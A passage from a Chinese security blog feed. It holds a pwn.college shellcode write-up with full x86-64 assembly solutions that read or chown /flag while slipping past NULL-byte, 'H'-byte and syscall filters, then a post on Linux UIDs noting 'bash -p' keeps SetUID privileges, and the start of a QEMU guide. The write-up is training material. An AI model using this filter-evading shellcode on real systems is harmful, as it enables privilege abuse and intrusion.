<p>最后 <code class="language-plaintext highlighter-rouge">rd = o + r1 + r2 * m</code>，不管这些值代表什么，也不管最后的结果是否是一个合法的地址，<code class="language-plaintext highlighter-rouge">lea</code> 指令都会将这个结果加载到 <code class="language-plaintext highlighter-rouge">rd</code> 中。其中，<code class="language-plaintext highlighter-rouge">m</code> 代表单位位移量，只能取 1, 2, 4, 8 这几个值，分别代表 1, 2, 4, 8 字节的大小。<code class="language-plaintext highlighter-rouge">r1</code> 代表基址寄存器，<code class="language-plaintext highlighter-rouge">r2</code> 代表索引寄存器，<code class="language-plaintext highlighter-rouge">o</code> 代表偏移量。</p>

<p>而 <code class="language-plaintext highlighter-rouge">mov o(r1,r2,m), rd</code> 则是将 <code class="language-plaintext highlighter-rouge">o + r1 + r2 * m</code> 这个地址中的内容加载到 <code class="language-plaintext highlighter-rouge">rd</code> 中，也就是 <code class="language-plaintext highlighter-rouge">rd = *(o + r1 + r2 * m)</code>，如果最终结果不是一个合法地址，则会段错误。</p>

<h3 id="位置无关代码">位置无关代码</h3>
<p>一般而言，位置无关代码是通过 pc 相对寻址实现的，也就是说我们的代码不依赖于绝对地址，而是通过目标地址与 pc 之间的偏移量来计算目标地址。而汇编器一般具有对于这类
指令的语法糖。例如 <code class="language-plaintext highlighter-rouge">leaq cmd(%rip), %rdi</code> 所代表的并不是将 <code class="language-plaintext highlighter-rouge">$cmd + %rip</code> 这个地址赋值给 <code class="language-plaintext highlighter-rouge">%rdi</code>，而是将 <code class="language-plaintext highlighter-rouge">$cmd</code> 这个地址以 pc 相对寻址的方式赋值给 <code class="language-plaintext highlighter-rouge">%rdi</code>。</p>

<h3 id="setuid">SetUID</h3>
<p>这部分详见 <a href="../uid">Linux 中各种各样的 UID</a>。</p>

<h3 id="argv"><code class="language-plaintext highlighter-rouge">argv</code></h3>
<p><code class="language-plaintext highlighter-rouge">argv</code> 是一个指向字符串指针的指针，我们需要将其设置为一个指向字符串指针的数组。在这里，我们将 <code class="language-plaintext highlighter-rouge">argv</code> 设置为一个指向字符串指针的数组，其中第一个指针指向 <code class="language-plaintext highlighter-rouge">cmd</code>，第二个指针指向 <code class="language-plaintext highlighter-rouge">arg2="/flag"</code>，第三个指针指向 <code class="language-plaintext highlighter-rouge">NULL</code> 代表终止符。</p>

<h2 id="challenge-2-shellcode-with-nop-sled">Challenge 2 Shellcode with NOP Sled</h2>

<p>这次程序会将 shellcode 的前 800 个字节删除，我们只需要在 shellcode 前面加上一些 NOP 指令即可。</p>

<pre><code class="language-assembly">.fill 800, 1, 0x90
</code></pre>

<p><code class="language-plaintext highlighter-rouge">.fill</code> 是一条伪指令，用于填充数据，其格式为 <code class="language-plaintext highlighter-rouge">.fill n, size, value</code>，表示填充 <code class="language-plaintext highlighter-rouge">n</code> 个 <code class="language-plaintext highlighter-rouge">size</code> 大小的 <code class="language-plaintext highlighter-rouge">value</code>。</p>

<h2 id="challenge-3-shellcode-with-null-byte-filter">Challenge 3 Shellcode with NULL-byte Filter</h2>

<p>这一次我们将不能使用 NULL 字节，因为程序会将 shellcode 中的 NULL 字节删除。我们将使用一个有意思的技巧，即在 shellcode 中再发起一个系统调用，这样我们可以通过这个系统调用来继续读取新的 shellcode。也就是我们将执行一个 <code class="language-plaintext highlighter-rouge">read(stdin, %rip, 0x1ff)</code> 的系统调用，这样我们就可以继续读取新的 shellcode。</p>

<p>获取 <code class="language-plaintext highlighter-rouge">%rip</code> 的值在没有 NULL 字节的情况下是非常困难的，幸运的是，这一次 Victim 程序会将我们的 shellcode 加载到一个固定的地址，我们可以直接在 shellcode 中硬编码常量。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rax</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">rdx</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x15e0</span><span class="p">,</span> <span class="o">%</span><span class="nb">si</span>
        <span class="nf">shl</span> <span class="kc">$</span><span class="mi">4</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>	
	<span class="nf">add</span> <span class="kc">$</span><span class="mh">0xd</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">shl</span> <span class="kc">$</span><span class="mi">12</span><span class="p">,</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x1ff</span><span class="p">,</span> <span class="o">%</span><span class="nb">dx</span>
	<span class="nf">syscall</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x90</span>

	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>

<p>同时通过一系列技巧来避免我们的 shellcode 中出现 NULL 字节。</p>

<ul>
  <li>使用 <code class="language-plaintext highlighter-rouge">xor</code> 指令来清空寄存器。</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">shl</code> 和 <code class="language-plaintext highlighter-rouge">add</code> 指令组合计算。</li>
  <li>使用 16 位与 32 位指令而不是 64 位指令来避免 NULL 字节。</li>
</ul>

<h2 id="challenge-4-shellcode-wo-h">Challenge 4 Shellcode w.o ‘H’</h2>
<p>这个题目会提前过滤所有的 <code class="language-plaintext highlighter-rouge">H</code> 字符，也就是 <code class="language-plaintext highlighter-rouge">0x48</code>。下面是关键点。</p>

<ul>
  <li>使用 <code class="language-plaintext highlighter-rouge">push %reg</code> <code class="language-plaintext highlighter-rouge">pop %reg</code> 来设置寄存器。</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">read(stdin, %rip, length)</code> 来覆盖原有的 shellcode。</li>
</ul>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mi">0</span>	
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mh">0x2520a000</span>
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">mov</span> <span class="kc">$</span><span class="mh">0x1ff</span><span class="p">,</span> <span class="o">%</span><span class="nb">dx</span>
	<span class="nf">syscall</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x90</span>

	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>

<h2 id="challenge-5--6-shellcode-wo-syscall">Challenge 5 &amp; 6 Shellcode w.o <code class="language-plaintext highlighter-rouge">syscall</code></h2>

<p>这个题目会过滤 <code class="language-plaintext highlighter-rouge">syscall (0x0f 0x05)</code> 指令，直接在内存上现场构造即可。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">.fill</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0xf</span><span class="p">,</span> <span class="nv">target</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0x5</span><span class="p">,</span> <span class="nv">target</span><span class="o">+</span><span class="mi">1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nl">target:</span> <span class="nf">.long</span> <span class="mi">0</span>
	
	

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>

</details>

<h2 id="challenge-7-shellcode-with-closed-file-descriptor">Challenge 7 Shellcode with closed file descriptor</h2>

<p>这个题目将所有的文件描述符都关闭了，因此不能通过 <code class="language-plaintext highlighter-rouge">cat</code> 之类的进行读取 flag。
我使用了 <code class="language-plaintext highlighter-rouge">chown</code> 直接改变 <code class="language-plaintext highlighter-rouge">/flag</code> 的权限。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0xf</span><span class="p">,</span> <span class="nv">target</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">movb</span> <span class="kc">$</span><span class="mh">0x5</span><span class="p">,</span> <span class="nv">target</span><span class="o">+</span><span class="mi">1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">arg3</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv3</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>

	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
<span class="nl">target:</span> <span class="nf">.long</span> <span class="mi">0</span>
	
	

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nb">ch</span><span class="nv">own</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv3:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	<span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
	        <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"hacker"</span>
<span class="nl">arg3:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>

</code></pre></div>  </div>
</details>

<h2 id="challenge-8-18-byte-shellcode">Challenge 8 18 Byte Shellcode</h2>

<p>这个是一个很有趣的题目，只允许 18 byte，我并没有分析在调用点进入时，有哪些寄存器不需要设置（可以复用）。
而是继续坚持使用 <code class="language-plaintext highlighter-rouge">execve("/bin/cat", NULL, NULL)</code>，但很显然 <code class="language-plaintext highlighter-rouge">/bin/cat</code> 会导致我的 Shellcode 超过上限。</p>

<p>因此，我用 C 语言编写了一个程序，命名为 <code class="language-plaintext highlighter-rouge">f</code> 放在当前的工作目录下，然后再利用 <code class="language-plaintext highlighter-rouge">execve</code> 调用该文件 <code class="language-plaintext highlighter-rouge">f</code> 来读取 flag。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">esi</span><span class="p">,</span> <span class="o">%</span><span class="nb">esi</span>
	<span class="nf">xor</span> <span class="o">%</span><span class="nb">edx</span><span class="p">,</span> <span class="o">%</span><span class="nb">edx</span>
	<span class="nf">lea</span> <span class="nv">flag</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">push</span> <span class="kc">$</span><span class="mh">0x3B</span>
	<span class="nf">pop</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">syscall</span>
<span class="nl">flag:</span> <span class="nf">.string</span> <span class="s">"f"</span>
</code></pre></div>  </div>
</details>

<h2 id="challenge-9-modified-shellcode">Challenge 9 Modified Shellcode</h2>

<p>每隔 10 个 Byte，Shellcode 就会被改写，处理方式非常简单，用 <code class="language-plaintext highlighter-rouge">jmp</code> 把被改写部分跳过。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
        <span class="nf">jmp</span> <span class="mi">0</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">0:</span>      <span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nv">r10</span>
        <span class="nf">jmp</span> <span class="mi">1</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">1:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nv">r10</span><span class="p">,</span> <span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">jmp</span> <span class="mi">2</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">2:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nv">r10</span><span class="p">,</span> <span class="o">-</span><span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">jmp</span> <span class="mi">3</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">3:</span>      <span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
        <span class="nf">jmp</span> <span class="mi">4</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">4:</span>      <span class="nf">leaq</span> <span class="o">-</span><span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
        <span class="nf">jmp</span> <span class="mi">5</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">5:</span>      <span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
        <span class="nf">jmp</span> <span class="mi">6</span><span class="nv">f</span>
        <span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="err">6:</span>      <span class="nf">movq</span> <span class="o">%</span><span class="nb">rdx</span><span class="p">,</span> <span class="mi">8</span><span class="p">(</span><span class="o">%</span><span class="nb">rsp</span><span class="p">)</span>
        <span class="nf">syscall</span>
<span class="nf">.fill</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Shellcode challenges in pwn.college.]]></summary></entry><entry><title type="html">Linux 中各种各样的 uid</title><link href="https://hongyi.lu/uid/" rel="alternate" type="text/html" title="Linux 中各种各样的 uid" /><published>2024-09-02T00:00:00+00:00</published><updated>2024-09-02T00:00:00+00:00</updated><id>https://hongyi.lu/uid</id><content type="html" xml:base="https://hongyi.lu/uid/"><![CDATA[<p>本文介绍 Linux 中各种各样的 uid 们。</p>

<h2 id="linux-用户-id">Linux 用户 ID</h2>

<p>Linux 进程会记录三种用户 ID，分别为 <code class="language-plaintext highlighter-rouge">ruid</code>, <code class="language-plaintext highlighter-rouge">euid</code> 和 <code class="language-plaintext highlighter-rouge">suid</code>。</p>

<p>真实用户 ID，<code class="language-plaintext highlighter-rouge">ruid</code> （或者简称为 <code class="language-plaintext highlighter-rouge">uid</code>） 是启动该进程的用户的 ID，每个用户都拥有唯一的 ID。</p>

<p>有效用户 ID（<code class="language-plaintext highlighter-rouge">euid</code>/effective user ID）是系统判断当前进程权限所使用的 ID，在大多数情况下，<code class="language-plaintext highlighter-rouge">euid=ruid</code>。但 SetUID 可执行文件就是一个例外，当一个 SetUID 可执行文件执行时，<code class="language-plaintext highlighter-rouge">euid</code> 会被设置为该<em>文件</em>的拥有者。</p>

<blockquote>
  <blockquote>
    <p><code class="language-plaintext highlighter-rouge">passwd</code> 就是一个 SetUID 程序，任何用户都可以执行它来修改自己的密码。但修改密码这个操作是一个<em>特权</em>行为。</p>
  </blockquote>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ll /usr/bin/passwd
<span class="nt">-r-s</span>–x–x 1 root root 21944 Feb 12  2006 /usr/bin/passwd；
</code></pre></div></div>

<p>保存用户 ID（<code class="language-plaintext highlighter-rouge">suid</code>，不要与 SetUID 程序弄混），则是用于让一个<em>特权</em>程序放弃自己的权限来进行一些操作，并且在操作完毕后恢复<em>特权</em>状态。</p>

<p>当一个非特权进程修改自身的 <code class="language-plaintext highlighter-rouge">euid</code> 时，它只能将 <code class="language-plaintext highlighter-rouge">euid</code> 设为 <code class="language-plaintext highlighter-rouge">ruid</code>, <code class="language-plaintext highlighter-rouge">euid</code> 或者 <code class="language-plaintext highlighter-rouge">suid</code> 当中的值。<code class="language-plaintext highlighter-rouge">suid</code> 允许一个<em>普通</em>用户启动一个 SetUID 进程，并且让它降低权限为普通用户，最后仍能返回特权状态。</p>

<h2 id="setuid-系统调用"><code class="language-plaintext highlighter-rouge">set*uid</code> 系统调用</h2>

<p><code class="language-plaintext highlighter-rouge">int setuid(uid_t uid);</code></p>
<blockquote>
  <blockquote>
    <p>setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set.</p>
  </blockquote>
</blockquote>

<p><code class="language-plaintext highlighter-rouge">setuid</code> 通常只修改 <code class="language-plaintext highlighter-rouge">euid</code>，但当调用进程为<em>特权</em>进程时，<code class="language-plaintext highlighter-rouge">setuid</code> 会同时设置 <code class="language-plaintext highlighter-rouge">suid</code> 与 <code class="language-plaintext highlighter-rouge">ruid</code>。</p>

<p><code class="language-plaintext highlighter-rouge">int setreuid(uid_t ruid, uid_t euid);</code>
<code class="language-plaintext highlighter-rouge">int setresuid(uid_t ruid, uid_t euid, uid_t suid);</code></p>
<blockquote>
  <blockquote>
    <p>An unprivileged process may change its real UID, effective UID, and saved set-user-ID, each to one of: the current real UID, the current effective UID, or the current saved set-user-ID.
A privileged process (on Linux, one having the CAP_SETUID capability) may set its real UID, effective UID, and saved set- user-ID to arbitrary values.</p>
  </blockquote>
</blockquote>

<p><em>非特权</em>进程只能将自己的 <code class="language-plaintext highlighter-rouge">ruid</code>，<code class="language-plaintext highlighter-rouge">euid</code>，<code class="language-plaintext highlighter-rouge">suid</code> 设置为三者中的其中之一，但<em>特权</em>进程（拥有 <code class="language-plaintext highlighter-rouge">CAP_SETUID</code> 特权）可以随意设置自己的 <code class="language-plaintext highlighter-rouge">*uid</code>。</p>

<h2 id="执行程序-execve-与-system">执行程序: <code class="language-plaintext highlighter-rouge">execve</code> 与 <code class="language-plaintext highlighter-rouge">system</code></h2>

<h3 id="tldr">tl;dr</h3>
<ul>
  <li>如果被执行的程序是 SetUID 程序，则 <code class="language-plaintext highlighter-rouge">euid</code> 会被变更为<em>该文件</em>的拥有者，如果不是，则 <code class="language-plaintext highlighter-rouge">euid</code> 保持不变。</li>
  <li><code class="language-plaintext highlighter-rouge">suid</code> 会被设为<em>之前</em>的 <code class="language-plaintext highlighter-rouge">euid</code></li>
  <li><code class="language-plaintext highlighter-rouge">ruid</code> 保持不变。</li>
</ul>

<h3 id="bash"><code class="language-plaintext highlighter-rouge">bash</code></h3>
<p><code class="language-plaintext highlighter-rouge">bash</code> 具有安全限制，在正常情况下由 SetUID 程序启动 <code class="language-plaintext highlighter-rouge">bash</code> （例如，<code class="language-plaintext highlighter-rouge">system("/bin/bash")</code>），<code class="language-plaintext highlighter-rouge">bash</code> 会将自己的 <code class="language-plaintext highlighter-rouge">euid</code> 设为 <code class="language-plaintext highlighter-rouge">ruid</code>。可以通过 <code class="language-plaintext highlighter-rouge">-p</code> 参数让 <code class="language-plaintext highlighter-rouge">bash</code> 保留之前的权限。</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[本文介绍 Linux 中各种各样的 uid 们。]]></summary></entry><entry><title type="html">QEMU made easy.</title><link href="https://hongyi.lu/qemu_made_easy/" rel="alternate" type="text/html" title="QEMU made easy." /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://hongyi.lu/qemu_made_easy</id><content type="html" xml:base="https://hongyi.lu/qemu_made_easy/"><![CDATA[<p>How to quickly run a virtual machine in QEMU.</p>

<h1 id="qemu-basic">QEMU Basic.</h1>

<p>QEMU is a common virtualization tool used to emulate a full system/user application. In this post, we will cover how to set up a basic QEMU full system emulation. In essence, you need two things to boot a full system in QEMU.</p>

<ul>
  <li>Kernel Image</li>
  <li>Root File-system</li>
</ul>

<h1 id="rootfs-made-easy">Rootfs made easy.</h1>

